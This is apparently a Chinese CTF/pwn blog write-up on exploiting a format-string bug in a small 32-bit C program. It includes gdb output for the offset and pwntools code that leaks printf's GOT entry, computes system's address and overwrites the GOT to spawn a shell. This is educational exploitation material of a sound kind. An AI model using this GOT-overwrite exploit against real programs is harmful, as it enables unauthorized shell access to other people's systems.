linux_pwn0x01_fsb1

博客围绕FSB漏洞展开,先介绍源程序存在可无限利用的FSB漏洞,通过gdb调试查看堆栈情况、构造输入显示漏洞offset,用checksec命令获取程序保护措施。接着阐述攻击过程,包括利用漏洞泄露真实地址、计算system地址、劫持printf到system以获取shell,还提及类似题目的漏洞利用方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

首先是源程序:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char a[1024];
	while(1)
	{
		memset(a,'\0',1024);
		read(0,a,1024);
		printf(a); //the fsb vulnerability
		fflush(stdout);
	}
	return 0;
}

可见有一个可以利用次数无限多的fsb漏洞,fsb漏洞可以让我们做到任意读和任意写

gdb–>offset
使用gdb调试器对程序进行调试,查看在调用printf时的堆栈情况,并且构造输入,来显示fsb漏洞的offset

[-------------------------------------code-------------------------------------]
   0x8048527 <main+92>:	sub    esp,0xc
   0x804852a <main+95>:	lea    eax,[ebp-0x40c]
   0x8048530 <main+101>:	push   eax
=> 0x8048531 <main+102>:	call   0x8048380 <printf@plt>   <><><><><><><> :)
   0x8048536 <main+107>:	add    esp,0x10
   0x8048539 <main+110>:	mov    eax,ds:0x804a028
   0x804853e <main+115>:	sub    esp,0xc
   0x8048541 <main+118>:	push   eax
Guessed arguments:
arg[0]: 0xbfffeb2c ("aaaa.1%p.2%p.3%p.4%p.5%p.6%p.7%p.8%p.9%p.10%p.11%p.12%p.13%p.14%p.15%p.\n")
[------------------------------------stack-------------------------------------]
0000| 0xbfffeb00 --> 0xbfffeb2c ("aaaa.1%p.2%p.3%p.4%p.5%p.6%p.7%p.8%p.9%p.10%p.11%p.12%p.13%p.14%p.15%p.\n")
0004| 0xbfffeb04 --> 0xbfffeb2c ("aaaa.1%p.2%p.3%p.4%p.5%p.6%p.7%p.8%p.9%p.10%p.11%p.12%p.13%p.14%p.15%p.\n")
0008| 0xbfffeb08 --> 0x400 
0012| 0xbfffeb0c --> 0x174 
0016| 0xbfffeb10 --> 0x174 
0020| 0xbfffeb14 --> 0x44 ('D')
0024| 0xbfffeb18 --> 0x44 ('D')

构造输入与对应的输出为:
···
aaaa.1%p.2%p.3%p.4%p.5%p.6%p.7%p.8%p.9%p.10%p.11%p.12%p.13%p.14%p.15%p.

aaaa.10xbfffeb2c.20x400.30x174.40x174.50x44.60x44.70xbfffefe4.80x4.90x7.100x1af23c.110x61616161.120x7025312e.130x7025322e.140x7025332e.150x7025342e.
···
可以看到在偏移为11的位置,输出了‘aaaa’;

通过checksec命令来获取程序所使用的保护措施:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看到got表可写、堆栈没有canary保护、堆栈不可执行、没有aslr;

那么我这里选择的攻击方式是hijack函数“printf”的got表,并传递参数“/bin/sh\0”,令

printf("/bin/sh\0")==>system("/bin/sh\0")

接下来是攻击过程:

本题是在本地跑的,所以libc直接本地调用,如果是远程的话,写个小脚本leak一下就好。

elf=ELF('./lib0')
print(type(elf))
libc=ELF('/lib/i386-linux-gnu/libc.so.6')

step1:leak the true address by “%s”

首先要了解一下如何使用fsb漏洞leak信息

printf("%s",a);

这一行c代码所进行的操作:
将a所指向的地址作为字符串的开头,直到遇到‘\0’结束
这里将使用a作为指针进行了一次寻址,因此我们可以使用这个参数a,将其赋值为“程序中已经执行过的(延迟绑定机制)某个函数的got表地址”,这样就能对这个函数的got表进行一次寻址,得到该函数的真实地址了,在这里选择printf

#leak print
print_got=elf.got['printf']
print('print_got='+hex(print_got))

io.sendline(p32(print_got)+'|'+'%11$s'+'|')

io.recvuntil('|')
print_addr=u32(io.recvuntil('|')[0:4])
print('print_addr='+hex(print_addr))

step2 calc the addr of system

利用leak出的printf真实地址以及已知的libc计算system的真实地址

system_offset=libc.symbols['system']
print_offset=libc.symbols['printf']

print('system_offset='+hex(system_offset))
print('print_offset='+hex(print_offset))

libc_addr=print_addr-print_offset
print('libc_addr='+hex(libc_addr))

system_addr=libc_addr+system_offset

step3 hijack printf --> system

pwntool自带的fsb payload生成工具,32bit下可以使用,本题是32bit的,这里直接使用工具了

如果在脚本中开启了debug模式:

context.log_level='debug'

可以看到工具构造的payload是利用了4此“%hhn”来对目标地址进行32个bit的修改;
注意如果目标地址中有‘\0’时(如0x00123456),该工具不适用(payload是以字符串的形式传递给程序的),同样的理由导致了64位程序也无法使用这个工具,64位下的地址往往都有’\0’这个字节,需要手动计算构造payload

payload=fmtstr_payload(11,{print_got:system_addr})
io.sendline(payload)

step4 getshell

io.sendline('/bin/sh\0')
io.interactive()

extra:
一个类似的题目,也是fsb漏洞的利用,但是没有while循环,也就是说正常的控制流下fsb漏洞我们只能利用1次,
因此我们利用这个漏洞,实现程序的循环

从而可以多次利用漏洞

另外step2涉及的就是leak信息以确定目标程序所在系统使用的libc,
从而实现ret2libc攻击

step1 make a circle

puts()–>echo()

than ?

you can’t use bof vulnerability to do this attack

the stack layout will be fucked up

step2 leak the libc

leak some functions is okay

use objdump -R to check the got and with “%s”

it’s easy

step3 system("/bin/sh\0");

just like fsb1

it’s easy

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值